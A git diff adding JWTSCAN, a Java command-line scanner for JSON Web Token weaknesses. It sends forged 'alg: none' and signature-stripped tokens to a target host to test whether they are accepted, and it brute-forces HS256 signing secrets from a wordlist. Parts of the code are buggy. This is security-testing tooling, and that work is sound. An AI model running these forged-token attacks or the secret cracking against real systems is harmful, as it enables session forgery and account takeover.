diff --git a/JWTSCAN.jar b/JWTSCAN.jar
new file mode 100644
index 0000000..3f1cae5
Binary files /dev/null and b/JWTSCAN.jar differ
diff --git a/README.md b/README.md
index 15615be..691f832 100644
--- a/README.md
+++ b/README.md
@@ -1,8 +1,8 @@
-r 要扫描的完整http请求包路径 指定-r 会发送请求校验安全问题
例:
+
GET /user/userinfo HTTP/1.1
Host: 127.0.0.1:8081
-
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0
-j 完整的jwt信息
diff --git a/pom.xml b/pom.xml
new file mode 100644
index 0000000..919cab0
--- /dev/null
+++ b/pom.xml
@@ -0,0 +1,83 @@
+
+
+ 4.0.0
+
+ org.example
+ JWTSCAN
+ 1.0-SNAPSHOT
+
+
+ 8
+ 8
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-jar-plugin
+ 2.6
+
+
+
+ true
+ lib/
+ com.su.main
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-dependency-plugin
+ 3.1.2
+
+
+ copy-dependencies
+ package
+
+ copy-dependencies
+
+
+ ${project.build.directory}/lib
+
+
+
+
+
+
+
+
+
+
+
+ com.auth0
+ java-jwt
+ 3.3.0
+
+
+
+
+ io.jsonwebtoken
+ jjwt
+ 0.9.0
+
+
+
+ com.alibaba
+ fastjson
+ 1.2.74
+
+
+
+
+ org.codehaus.jackson
+ jackson-mapper-asl
+ 1.7.0
+
+
+
+
+
\ No newline at end of file
diff --git a/src/main/java/com/su/analysis/Http_req_pars.java b/src/main/java/com/su/analysis/Http_req_pars.java
new file mode 100644
index 0000000..0db2058
--- /dev/null
+++ b/src/main/java/com/su/analysis/Http_req_pars.java
@@ -0,0 +1,91 @@
+package com.su.analysis;
+
+
+import com.su.util.Regu;
+
+import java.util.regex.Matcher;
+
+public class Http_req_pars {
+
+ private String http_text;
+
+ private Boolean is_ssl;
+
+ public void setHttp_text(String http_text) {
+ this.http_text = http_text;
+ }
+
+ public Integer getPort() {
+ return port;
+ }
+
+ public void setPort(Integer port) {
+ this.port = port;
+ }
+
+ private Integer port;
+
+ private String host;
+
+ public String getHttp_text() {
+ return http_text;
+ }
+
+ public Jwt_pars getJwt_pars() {
+ return jwt_pars;
+ }
+
+ private Jwt_pars jwt_pars;
+
+ public Http_req_pars(String http_text) {
+ this.http_text=http_text;
+ }
+
+ public void jwt_pars() {
+ this.http_text=http_text;
+ String jwt_re1="(eyJ[A-Za-z0-9_-]*\\.[A-Za-z0-9._-]*)";
+ Matcher head_re=Regu.search(jwt_re1,http_text);
+ if (head_re!=null){
+ jwt_pars = new Jwt_pars(head_re.group(1));
+ }else {
+ String jwt_re2="(eyJ[A-Za-z0-9_\\/+-]*\\.[A-Za-z0-9._\\/+-]*)";
+ Matcher head_re2=Regu.search(jwt_re1,http_text);
+ if (head_re2!=null){
+ jwt_pars = new Jwt_pars(head_re2.group(1));
+ }else {
+ System.out.println("未匹配到jwt");
+ }
+ }
+ }
+
+ public void host_pars() {
+ String re = "Host:\\s(.*)";
+ Matcher host_re=Regu.search(re,http_text);
+ String[] h_p =host_re.group(1).replace(" ","").split(":");
+ if (h_p.length != 2){
+ setHost(h_p[0]);
+ setPort(0);
+ }else {
+ setHost(h_p[0]);
+ setPort(Integer.parseInt(h_p[1]));
+ }
+ }
+
+ public Boolean getIs_ssl() {
+ return is_ssl;
+ }
+
+ public void setIs_ssl(Boolean is_ssl) {
+ this.is_ssl = is_ssl;
+ }
+
+ public String getHost() {
+ return host;
+ }
+
+ public void setHost(String host) {
+ this.host = host;
+ }
+
+
+}
diff --git a/src/main/java/com/su/analysis/Http_res_pars.java b/src/main/java/com/su/analysis/Http_res_pars.java
new file mode 100644
index 0000000..83ab254
--- /dev/null
+++ b/src/main/java/com/su/analysis/Http_res_pars.java
@@ -0,0 +1,50 @@
+package com.su.analysis;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.nio.charset.Charset;
+
+public class Http_res_pars {
+
+ private String status_code;
+ private String body;
+
+ public String getStatus_code() {
+ return status_code;
+ }
+
+ public void setStatus_code(String status_code) {
+ this.status_code = status_code;
+ }
+
+ public String getBody() {
+ return body;
+ }
+
+ public void setBody(String body) {
+ this.body = body;
+ }
+
+ public Boolean res_pars(String text) throws IOException {
+ BufferedReader br = new BufferedReader(new InputStreamReader(new ByteArrayInputStream(text.getBytes()), Charset.forName("utf8")));
+ String line;
+ Boolean body_s =false;
+ String body="";
+ while((line = br.readLine())!= null){
+ if (!body_s){
+ if (line.equals("")){
+ body_s = true;
+ }
+ }else {
+ body += line;
+ }
+ }
+ setBody(body);
+
+ return null;
+ }
+
+
+}
diff --git a/src/main/java/com/su/analysis/Jwt_pars.java b/src/main/java/com/su/analysis/Jwt_pars.java
new file mode 100644
index 0000000..2220f88
--- /dev/null
+++ b/src/main/java/com/su/analysis/Jwt_pars.java
@@ -0,0 +1,54 @@
+package com.su.analysis;
+
+public class Jwt_pars {
+
+ private String head;
+ private String payload;
+ private String secret;
+ private String jwt_text;
+
+
+ public Jwt_pars(String jwt_text) {
+ this.jwt_text = jwt_text;
+ String[] jwt_texts = jwt_text.split("\\.");
+
+ if (jwt_texts.length!=3){ return; }
+ this.head = jwt_texts[0];
+ this.payload = jwt_texts[1];
+ this.secret = jwt_texts[2];
+ }
+
+ public String getHead() {
+ return head;
+ }
+
+ public void setHead(String head) {
+ this.head = head;
+ }
+
+ public String getPayload() {
+ return payload;
+ }
+
+ public void setPayload(String payload) {
+ this.payload = payload;
+ }
+
+ public String getSecret() {
+ return secret;
+ }
+
+ public void setSecret(String secret) {
+ this.secret = secret;
+ }
+
+ public String getJwt_text() {
+ return jwt_text;
+ }
+
+ public void setJwt_text(String jwt_text) {
+ this.jwt_text = jwt_text;
+ }
+
+
+}
diff --git a/src/main/java/com/su/defect/D_Loader.java b/src/main/java/com/su/defect/D_Loader.java
new file mode 100644
index 0000000..117820e
--- /dev/null
+++ b/src/main/java/com/su/defect/D_Loader.java
@@ -0,0 +1,160 @@
+package com.su.defect;
+
+import com.su.analysis.Http_req_pars;
+import com.su.analysis.Jwt_pars;
+import com.su.defect.brute_force.Jwt_blast_processing1;
+import com.su.defect.brute_force.Key_enum;
+import com.su.defect.config_defect.Algorithm_rs25;
+import com.su.defect.config_defect.Config_head_None;
+import com.su.defect.config_defect.F_config_defect;
+import com.su.defect.config_defect.JWT_miss_exp;
+import com.su.defect.vulnerability.F_vulnerability;
+import com.su.defect.vulnerability.None_token;
+import com.su.defect.vulnerability.Null_encryption;
+import com.su.util.File_Utils;
+import com.su.util.Socket_http_utility;
+import sun.misc.BASE64Decoder;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import java.util.concurrent.Semaphore;
+
+public class D_Loader {
+
+ List vulnerabilities = new ArrayList<>();
+ List f_config_defects= new ArrayList<>();
+
+ private Integer thead_num=30;
+
+ public Integer getThead_num() {
+ return thead_num;
+ }
+
+ public void setThead_num(Integer thead_num) {
+ this.thead_num = thead_num;
+ }
+
+ public String getDictionarie_file() {
+ return dictionarie_file;
+ }
+
+ public void setDictionarie_file(String dictionarie_file) {
+ this.dictionarie_file = dictionarie_file;
+ }
+
+ private String dictionarie_file="";
+
+ public D_Loader() {
+ F_vulnerability none_token = new None_token();
+ F_vulnerability null_encryption =new Null_encryption();
+ vulnerabilities.add(none_token);
+ vulnerabilities.add(null_encryption);
+
+ F_config_defect config_None =new Config_head_None();
+ F_config_defect jwt_miss_exp =new JWT_miss_exp();
+ F_config_defect algorithm_rs25 =new Algorithm_rs25();
+ f_config_defects.add(config_None);
+ f_config_defects.add(jwt_miss_exp);
+ f_config_defects.add(algorithm_rs25);
+
+ }
+
+ public void jwt_brute_jorce(String dictionarie_path, Integer thead_num, Jwt_pars jwt_pars){
+
+ Key_enum key_enum = new Key_enum(dictionarie_path,thead_num,jwt_pars);
+ key_enum.execute_();
+ }
+
+
+ public void c_dloder(Jwt_pars jwt_pars){
+ System.out.println("-------------------扫描jwt配置中可能存在的问题------------------");
+ for (F_config_defect f_config_defect:f_config_defects){
+ f_config_defect.setJwt_pars(jwt_pars);
+ Boolean res=f_config_defect.scan();
+ if (res){
+ System.out.println("+++++++++++++++++++++++++++++++++++++++++++++++++++++++");
+ System.out.println("存在配置危险 : "+f_config_defect.getV_name());
+ System.out.println("风险等级 : "+f_config_defect.getRisk_level());
+ System.out.println("存在配置危险描述 : "+ f_config_defect.getDescribe());
+ System.out.println("细节描述 : "+ f_config_defect.getDetails());
+
+ System.out.println();
+ }
+ }
+ System.out.println("-------------------------------------------------------------");
+
+ }
+
+ public void v_loder( Http_req_pars http_req_pars) throws IOException {
+
+ http_req_pars.host_pars();
+ System.out.println("-------------------发送请求探测jwt漏洞---------------------");
+ //针对默认端口情况下的判断
+ if (http_req_pars.getPort()==0){
+ http_req_pars.setPort(443);
+ Boolean t_res = Socket_http_utility.if_is_https(http_req_pars);
+ if (t_res){
+
+ http_req_pars.setIs_ssl(true);
+ }else {
+
+ http_req_pars.setIs_ssl(false);
+ http_req_pars.setPort(80);
+ }
+ }else {
+ Boolean t_res =false;
+ t_res = Socket_http_utility.if_is_https(http_req_pars);
+ if (t_res){
+ http_req_pars.setIs_ssl(true);
+ }else {
+ http_req_pars.setIs_ssl(false);
+ }
+ }
+
+ for (F_vulnerability vulnerability:vulnerabilities){
+ vulnerability.setHttp_req_pars(http_req_pars);
+ Boolean res=vulnerability.scan();
+ if (res){
+
+ System.out.println("++++++++++++++++++++++++++++++++++++++++++++++++++++++");
+ System.out.println("存在漏洞 : "+vulnerability.getV_name());
+ System.out.println("风险等级 : "+vulnerability.getRisk_level());
+ System.out.println("漏洞描述 : "+ vulnerability.getDescribe());
+ System.out.println("细节描述 : "+ vulnerability.getDetails());
+ System.out.println();
+ }
+ }
+ Jwt_pars jwt_pars= http_req_pars.getJwt_pars();
+ System.out.println("-------------------------------------------------------------");
+ }
+ public void b_loader(Jwt_pars jwt_pars){
+ if (dictionarie_file.equals("")){return;}
+ System.out.println("--------------------------当前爆破jwt密钥------------------------");
+ Jwt_blast_processing1.s = new Semaphore(thead_num);
+ if (dictionarie_file!=""){
+ jwt_brute_jorce(dictionarie_file,thead_num,jwt_pars);
+ }
+ }
+
+ public void jwt_de_info(Jwt_pars jwt_pars){
+ System.out.println("JWT 信息:::");
+ System.out.println(jwt_pars.getJwt_text());
+ BASE64Decoder decoder = new BASE64Decoder();
+ try {
+ byte[] headbytes = decoder.decodeBuffer(jwt_pars.getHead());
+ byte[] payloadytes = decoder.decodeBuffer(jwt_pars.getPayload());
+ System.out.println("JWT 信息解密:::");
+ System.out.println("jwt HEADER : "+new String(headbytes));
+ System.out.println("jwt PAYLOAD : "+new String(payloadytes));
+ } catch (IOException e) {
+ System.out.println("JWT 解密失败....");
+ System.exit(0);
+ e.printStackTrace();
+ }
+
+
+
+ }
+}
diff --git a/src/main/java/com/su/defect/Defect.java b/src/main/java/com/su/defect/Defect.java
new file mode 100644
index 0000000..c9313a8
--- /dev/null
+++ b/src/main/java/com/su/defect/Defect.java
@@ -0,0 +1,54 @@
+package com.su.defect;
+
+public abstract class Defect {
+ private String v_name;
+
+ public String getV_name() {
+ return v_name;
+ }
+
+ public void setV_name(String v_name) {
+ this.v_name = v_name;
+ }
+
+ public String getDescribe() {
+ return describe;
+ }
+
+ public void setDescribe(String describe) {
+ this.describe = describe;
+ }
+
+ public String getDetails() {
+ return details;
+ }
+
+ public void setDetails(String details) {
+ this.details = details;
+ }
+
+ public String getRepair() {
+ return repair;
+ }
+
+ public void setRepair(String repair) {
+ this.repair = repair;
+ }
+ private String describe;
+
+ private String details;
+
+ private String repair;
+
+ private String risk_level;
+
+ public String getRisk_level() {
+ return risk_level;
+ }
+
+ public void setRisk_level(String risk_level) {
+ this.risk_level = risk_level;
+ }
+
+ public abstract Boolean scan();
+}
diff --git a/src/main/java/com/su/defect/brute_force/JWT_blast.java b/src/main/java/com/su/defect/brute_force/JWT_blast.java
new file mode 100644
index 0000000..9288632
--- /dev/null
+++ b/src/main/java/com/su/defect/brute_force/JWT_blast.java
@@ -0,0 +1,34 @@
+package com.su.defect.brute_force;
+
+import com.su.analysis.Jwt_pars;
+import com.su.util.En_utility;
+
+public class JWT_blast{
+
+ private String text;
+
+ public String getKey() {
+ return key;
+ }
+
+ private String key;
+ private String secret;
+
+ public JWT_blast(String text, String key, String secret) {
+ this.text = text;
+ this.key = key;
+ this.secret = secret;
+ }
+
+ public Boolean Encryption_comparison(){
+ String t_secret=En_utility.en_hs256(this.text,this.key);
+ if (!t_secret.equals(this.secret)){
+ return false;
+ }
+ return true;
+ }
+
+
+
+
+}
diff --git a/src/main/java/com/su/defect/brute_force/Jwt_blast_processing1.java b/src/main/java/com/su/defect/brute_force/Jwt_blast_processing1.java
new file mode 100644
index 0000000..e24e61e
--- /dev/null
+++ b/src/main/java/com/su/defect/brute_force/Jwt_blast_processing1.java
@@ -0,0 +1,48 @@
+package com.su.defect.brute_force;
+
+import java.util.concurrent.Semaphore;
+
+public class Jwt_blast_processing1 implements Runnable{
+
+ //当前并发线程数
+ public static Semaphore s;
+
+
+ public Jwt_blast_processing1(JWT_blast jwt_blast) {
+ this.jwt_blast = jwt_blast;
+ }
+
+ private JWT_blast jwt_blast;
+
+ //判断是否成功
+ private Boolean j_result=false;
+
+ public static String sec="";
+
+ public static Boolean success=false;
+
+ @Override
+ public void run() {
+
+ try {
+ s.acquire();
+ Boolean res = jwt_blast.Encryption_comparison();
+ if (res) {
+ sec = jwt_blast.getKey();
+ success = true;
+ }
+ s.release();
+ }catch (Exception e){
+ s.release();
+ }
+
+ }
+
+ public Boolean getJ_result() {
+ return j_result;
+ }
+
+ public void setJ_result(Boolean j_result) {
+ this.j_result = j_result;
+ }
+}
diff --git a/src/main/java/com/su/defect/brute_force/Key_enum.java b/src/main/java/com/su/defect/brute_force/Key_enum.java
new file mode 100644
index 0000000..d31bdd3
--- /dev/null
+++ b/src/main/java/com/su/defect/brute_force/Key_enum.java
@@ -0,0 +1,59 @@
+package com.su.defect.brute_force;
+
+import com.su.analysis.Jwt_pars;
+
+import com.su.util.File_Utils;
+
+import java.util.List;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+public class Key_enum {
+
+
+ private String dictionarie_path;
+
+ private Integer thead_num;
+
+ private Jwt_pars jwt_pars;
+
+ public Key_enum(String dictionarie_path, Integer thead_num, Jwt_pars jwt_pars) {
+ this.dictionarie_path = dictionarie_path;
+ this.thead_num = thead_num;
+ this.jwt_pars = jwt_pars;
+ }
+
+ public void execute_(){
+
+ String jwt_e = jwt_pars.getHead()+"."+jwt_pars.getPayload();
+ List keys = File_Utils.lines_read_array(dictionarie_path);
+
+
+ ExecutorService executorService = Executors.newCachedThreadPool();
+ for (String key: keys){
+ JWT_blast jwt_blast =new JWT_blast(jwt_e,key,jwt_pars.getSecret());
+ executorService.execute(new Jwt_blast_processing1(jwt_blast));
+ }
+ executorService.shutdown();
+
+ try {
+ while (true){
+ if(executorService.isTerminated()){
+ break;
+ }
+ if (Jwt_blast_processing1.success){
+ break;
+ }
+ }
+
+ if (Jwt_blast_processing1.success){
+ System.out.println("Key cracked successfully");
+ System.out.println("Key : "+Jwt_blast_processing1.sec);
+ }else {
+ System.out.println("Key cracking failed");
+ }
+ }catch (Exception e){
+
+ }
+ }
+}
diff --git a/src/main/java/com/su/defect/config_defect/Algorithm_rs25.java b/src/main/java/com/su/defect/config_defect/Algorithm_rs25.java
new file mode 100644
index 0000000..6f660d9
--- /dev/null
+++ b/src/main/java/com/su/defect/config_defect/Algorithm_rs25.java
@@ -0,0 +1,28 @@
+package com.su.defect.config_defect;
+
+import com.alibaba.fastjson.JSONObject;
+import sun.misc.BASE64Decoder;
+
+public class Algorithm_rs25 extends F_config_defect{
+ @Override
+ public Boolean scan() {
+
+ BASE64Decoder decoder = new BASE64Decoder();
+ try {
+ byte[] bytes = decoder.decodeBuffer(getJwt_pars().getHead());
+ JSONObject jsonObject = JSONObject.parseObject(new String(bytes));
+ String alg =jsonObject.getString("alg");
+ if (!alg.equalsIgnoreCase("RS256")){return false; }
+ setDescribe("如果算法从rs256更改为hs256,后端代码将使用公钥作为密钥,然后使用hs256算法验证签名。由于攻击者有时可以获得公钥,因此攻击者可以将标头中的算法修改为hs256,然后使用RSA公钥对数据进行签名。");
+ setV_name("jwt配置中jwt head中的密钥类型为 RS256,");
+ setRisk_level("低");
+ setDetails(new String(bytes)+"当前密钥类型为RS256");
+
+
+ }catch (Exception e){
+ return false;
+ }
+
+ return false;
+ }
+}
diff --git a/src/main/java/com/su/defect/config_defect/Config_head_None.java b/src/main/java/com/su/defect/config_defect/Config_head_None.java
new file mode 100644
index 0000000..c817cea
--- /dev/null
+++ b/src/main/java/com/su/defect/config_defect/Config_head_None.java
@@ -0,0 +1,32 @@
+package com.su.defect.config_defect;
+
+import com.alibaba.fastjson.JSONObject;
+import com.alibaba.fastjson.JSONPath;
+import sun.misc.BASE64Decoder;
+
+import java.io.IOException;
+
+public class Config_head_None extends F_config_defect{
+
+ @Override
+ public Boolean scan() {
+ BASE64Decoder decoder = new BASE64Decoder();
+ try {
+ byte[] bytes = decoder.decodeBuffer(getJwt_pars().getHead());
+ JSONObject jsonObject = JSONObject.parseObject(new String(bytes));
+ String alg =jsonObject.getString("alg");
+ if (!alg.equalsIgnoreCase("none")){ return false; }
+
+ setDescribe("当前jwt配置中jwt head中的密钥类型为 none");
+ setV_name("jwt none密钥");
+ setRisk_level("高");
+ setDetails(new String(bytes)+"可访问以有资源");
+ return true;
+
+ } catch (IOException e) {
+ return false;
+ }
+
+
+ }
+}
diff --git a/src/main/java/com/su/defect/config_defect/F_config_defect.java b/src/main/java/com/su/defect/config_defect/F_config_defect.java
new file mode 100644
index 0000000..643aa6e
--- /dev/null
+++ b/src/main/java/com/su/defect/config_defect/F_config_defect.java
@@ -0,0 +1,21 @@
+package com.su.defect.config_defect;
+
+import com.su.analysis.Http_req_pars;
+import com.su.analysis.Jwt_pars;
+import com.su.defect.Defect;
+
+public abstract class F_config_defect extends Defect {
+
+ public Jwt_pars getJwt_pars() {
+ return jwt_pars;
+ }
+
+ public void setJwt_pars(Jwt_pars jwt_pars) {
+ this.jwt_pars = jwt_pars;
+ }
+
+ private Jwt_pars jwt_pars;
+
+ @Override
+ public abstract Boolean scan();
+}
diff --git a/src/main/java/com/su/defect/config_defect/JWT_miss_exp.java b/src/main/java/com/su/defect/config_defect/JWT_miss_exp.java
new file mode 100644
index 0000000..76b3724
--- /dev/null
+++ b/src/main/java/com/su/defect/config_defect/JWT_miss_exp.java
@@ -0,0 +1,39 @@
+package com.su.defect.config_defect;
+
+import com.alibaba.fastjson.JSONObject;
+import sun.misc.BASE64Decoder;
+
+import java.io.IOException;
+
+public class JWT_miss_exp extends F_config_defect{
+ @Override
+ public Boolean scan() {
+
+ BASE64Decoder decoder = new BASE64Decoder();
+ try {
+ byte[] bytes = decoder.decodeBuffer(getJwt_pars().getPayload());
+ JSONObject jsonObject = JSONObject.parseObject(new String(bytes));
+ if (jsonObject.containsKey("exp")){ return false; }
+
+ setV_name("JWT中未设置过期时间");
+ setRisk_level("中");
+ setDescribe("当前JWT中未设置过期时间");
+ setDetails(new String(bytes));
+ return true;
+
+ }catch (Exception e){
+ return false;
+ }
+
+
+ }
+
+ public static void main(String[] args) throws IOException {
+ BASE64Decoder decoder = new BASE64Decoder();
+ JSONObject jsonObject = JSONObject.parseObject("{\"typ\":\"JWT\",\"alg\":\"HS256\"}");
+ if (jsonObject.containsKey("typ")){
+ System.out.println("1111111111111111111");
+ }
+
+ }
+}
diff --git a/src/main/java/com/su/defect/vulnerability/F_vulnerability.java b/src/main/java/com/su/defect/vulnerability/F_vulnerability.java
new file mode 100644
index 0000000..225eadb
--- /dev/null
+++ b/src/main/java/com/su/defect/vulnerability/F_vulnerability.java
@@ -0,0 +1,20 @@
+package com.su.defect.vulnerability;
+
+import com.su.analysis.Http_req_pars;
+import com.su.defect.Defect;
+
+public abstract class F_vulnerability extends Defect {
+ public Http_req_pars getHttp_req_pars() {
+ return http_req_pars;
+ }
+
+ public void setHttp_req_pars(Http_req_pars http_req_pars) {
+ this.http_req_pars = http_req_pars;
+ }
+
+ private Http_req_pars http_req_pars;
+
+ @Override
+ public abstract Boolean scan();
+
+}
diff --git a/src/main/java/com/su/defect/vulnerability/None_token.java b/src/main/java/com/su/defect/vulnerability/None_token.java
new file mode 100644
index 0000000..189a063
--- /dev/null
+++ b/src/main/java/com/su/defect/vulnerability/None_token.java
@@ -0,0 +1,66 @@
+package com.su.defect.vulnerability;
+
+import com.alibaba.fastjson.JSONObject;
+import com.alibaba.fastjson.JSONPath;
+import com.su.analysis.Http_req_pars;
+import com.su.analysis.Http_res_pars;
+import com.su.analysis.Jwt_pars;
+import com.su.util.Socket_http_utility;
+import sun.misc.BASE64Decoder;
+import sun.misc.BASE64Encoder;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class None_token extends F_vulnerability {
+
+
+ @Override
+ public Boolean scan() {
+ Jwt_pars jwt_pars = getHttp_req_pars().getJwt_pars();
+ BASE64Decoder decoder = new BASE64Decoder();
+ BASE64Encoder encoder =new BASE64Encoder();
+ try {
+ byte[] bytes = decoder.decodeBuffer(jwt_pars.getHead());
+ JSONObject jsonObject = JSONObject.parseObject(new String(bytes));
+ String alg =jsonObject.getString("alg");
+
+ JSONPath.set(jsonObject,"alg","none");
+ String jsonStr = JSONObject.toJSONString(jsonObject);
+
+
+ String n_head = encoder.encode(jsonStr.getBytes());
+ Http_res_pars http_res_pars=Socket_http_utility.send_s_http2(getHttp_req_pars());
+ String y_body = http_res_pars.getBody();
+
+ String y_http_ = getHttp_req_pars().getHttp_text();
+ String y_jwt = jwt_pars.getJwt_text();
+
+ List none_jwts = new ArrayList<>();
+ none_jwts.add(n_head+"."+jwt_pars.getPayload()+".");
+ none_jwts.add(n_head+"."+jwt_pars.getPayload());
+ none_jwts.add(n_head+"."+jwt_pars.getPayload()+".21j32j13j2hgfg12g3h213h2gh3g21h1cvvowie1");
+
+ for (String node_jwt:none_jwts){
+
+ String node_http_= y_http_.replace(y_jwt,node_jwt);
+ getHttp_req_pars().setHttp_text(node_http_);
+
+ Http_res_pars http_res_pars_no=Socket_http_utility.send_s_http2(getHttp_req_pars());
+ String node_body = http_res_pars_no.getBody();
+ if (node_body.equals(y_body)){
+ setDescribe("可设置jwt head中的密钥类型为 none 可以绕过密钥限制");
+ setV_name("可设置 jwt none密钥");
+ setDetails(n_head+"可访问以有资源");
+ setRisk_level("高");
+ return true;
+ }
+
+ }
+
+ }catch (Exception e){
+
+ }
+ return false;
+ }
+}
diff --git a/src/main/java/com/su/defect/vulnerability/Null_encryption.java b/src/main/java/com/su/defect/vulnerability/Null_encryption.java
new file mode 100644
index 0000000..d024e84
--- /dev/null
+++ b/src/main/java/com/su/defect/vulnerability/Null_encryption.java
@@ -0,0 +1,46 @@
+package com.su.defect.vulnerability;
+
+import com.su.analysis.Http_req_pars;
+import com.su.analysis.Http_res_pars;
+import com.su.analysis.Jwt_pars;
+import com.su.util.Socket_http_utility;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class Null_encryption extends F_vulnerability{
+
+ @Override
+ public Boolean scan() {
+ Jwt_pars jwt_pars = getHttp_req_pars().getJwt_pars();
+ try {
+ Http_res_pars http_res_pars= Socket_http_utility.send_s_http2(getHttp_req_pars());
+ String y_body = http_res_pars.getBody();
+
+ String y_http_ = getHttp_req_pars().getHttp_text();
+ List nullen_jwts = new ArrayList<>();
+ nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload()+".");
+ nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload());
+ nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload()+"."+"sadusaidyuy127y72hjhwqkjehwqe");
+ for (String nullen_jwt:nullen_jwts){
+ String node_http_= y_http_.replace(nullen_jwt,jwt_pars.getJwt_text());
+ getHttp_req_pars().setHttp_text(node_http_);
+ Http_res_pars http_res_pars_no=Socket_http_utility.send_s_http2(getHttp_req_pars());
+ String nullbody=http_res_pars_no.getBody();
+ if (y_body.equals(nullbody)){
+ setDescribe("空加密算法");
+ setV_name("不校验jwt中的密钥信息");
+ setDetails("密钥信息可至空");
+ setRisk_level("高");
+ return true;
+ }
+ }
+ return false;
+ }catch (Exception e){
+
+ return false;
+ }
+ }
+
+}
+
diff --git a/src/main/java/com/su/main.java b/src/main/java/com/su/main.java
new file mode 100644
index 0000000..a875e4c
--- /dev/null
+++ b/src/main/java/com/su/main.java
@@ -0,0 +1,84 @@
+package com.su;
+
+import com.su.analysis.Http_req_pars;
+import com.su.analysis.Jwt_pars;
+import com.su.defect.D_Loader;
+import com.su.defect.brute_force.Key_enum;
+import com.su.util.File_Utils;
+
+import javax.crypto.Mac;
+import javax.crypto.spec.SecretKeySpec;
+
+public class main {
+ public static void main(String[] args) throws Exception {
+
+ if (args.length == 0) {
+ printUsage();
+ System.exit(1);
+ }
+ String file_path="";
+ String jwt="";
+ String dictionarie_file="";
+ Integer thead_num=30;
+
+ int argIndex = 0;
+ while (argIndex < args.length) {
+ String arg = args[argIndex];
+ if (arg.equals("-r")) {
+ file_path = args[argIndex+1];
+ }else if (arg.equals("-j")){
+ jwt = args[argIndex+1];
+ }else if (arg.equals("-d")){
+ dictionarie_file = args[argIndex+1];
+ }else if (arg.equals("-t")){
+ thead_num = Integer.parseInt(args[argIndex+1]);
+ }
+ argIndex++;
+ }
+
+ D_Loader d_loader= new D_Loader();
+ d_loader.setDictionarie_file(dictionarie_file);
+ d_loader.setThead_num(thead_num);
+
+ if (jwt!=""){
+ Jwt_pars jwt_pars=new Jwt_pars(jwt);
+ d_loader.jwt_de_info(jwt_pars);
+ d_loader.c_dloder(jwt_pars);
+ d_loader.b_loader(jwt_pars);
+
+ }else if (file_path!=""){
+
+ String text = File_Utils.lines_read(file_path);
+ Http_req_pars http_req_pars =new Http_req_pars(text);
+ http_req_pars.jwt_pars();
+ Jwt_pars jwt_pars=http_req_pars.getJwt_pars();
+
+ d_loader.jwt_de_info(jwt_pars);
+ d_loader.v_loder(http_req_pars);
+ d_loader.c_dloder(jwt_pars);
+ d_loader.b_loader(jwt_pars);
+
+ }
+
+ }
+
+ private static void printUsage() {
+ System.out.println("-r : specifies the path of the complete HTTP request package to be scanned, - r will send a request to verify the security problem\n" +
+ "Example:\n" +
+ "GET /user/userinfo HTTP/1.1\n" +
+ "Host: 127.0.0.1:8081\n" +
+ "Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0\n" +
+ "\n" +
+ "-j : complete JWT information\n" +
+ "\n" +
+ "-d : specifies the JWT secret key explosion dictionary. If it is not specified, brute force cracking will not be performed\n" +
+ "\n" +
+ "-t JWT the number of threads for key blasting is 30 by default"+
+ "\n" +
+ "Two scanning modes are provided\n" +
+ "Example:\n" +
+ "java - jar JWTSCAN.jar -r Original_request.txt -d Key_dictionary.txt\n" +
+ "java - jar JWTSCAN.jar jjwt-1.0-SNAPSHOT.jar -j eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0 -d Key_dictionary.txt");
+ }
+
+}
diff --git a/src/main/java/com/su/text.java b/src/main/java/com/su/text.java
new file mode 100644
index 0000000..dc63042
--- /dev/null
+++ b/src/main/java/com/su/text.java
@@ -0,0 +1,27 @@
+package com.su;
+
+import io.jsonwebtoken.*;
+import io.jsonwebtoken.impl.crypto.DefaultJwtSigner;
+import io.jsonwebtoken.impl.crypto.JwtSigner;
+
+import javax.crypto.spec.SecretKeySpec;
+import java.security.Key;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * JWT_HS256生成签名和解密的Demo
+ * @time 2019-12-11 18:40
+ */
+public class text {
+
+ /**
+ * JWT算法HS256测试
+ * @Time 2019/12/6 18:22
+ * @Param
+ * @Return: void
+ */
+ public static void main(String[] args) {
+ System.out.println("G1ZmDAmq3fAXeK-HB9gnvCXr0RSTE-I358wGyNdfZ14".length());
+ }
+}
diff --git a/src/main/java/com/su/util/En_utility.java b/src/main/java/com/su/util/En_utility.java
new file mode 100644
index 0000000..0456d46
--- /dev/null
+++ b/src/main/java/com/su/util/En_utility.java
@@ -0,0 +1,18 @@
+package com.su.util;
+
+import io.jsonwebtoken.SignatureAlgorithm;
+import io.jsonwebtoken.impl.crypto.DefaultJwtSigner;
+import io.jsonwebtoken.impl.crypto.JwtSigner;
+
+import javax.crypto.spec.SecretKeySpec;
+import java.security.Key;
+
+public class En_utility {
+ public static String en_hs256(String text,String key){
+ Key KEY = new SecretKeySpec(key.getBytes(),
+ SignatureAlgorithm.HS256.getJcaName());
+ JwtSigner signer = new DefaultJwtSigner(SignatureAlgorithm.HS256, KEY);
+ String base64UrlSignature = signer.sign(text);
+ return base64UrlSignature;
+ }
+}
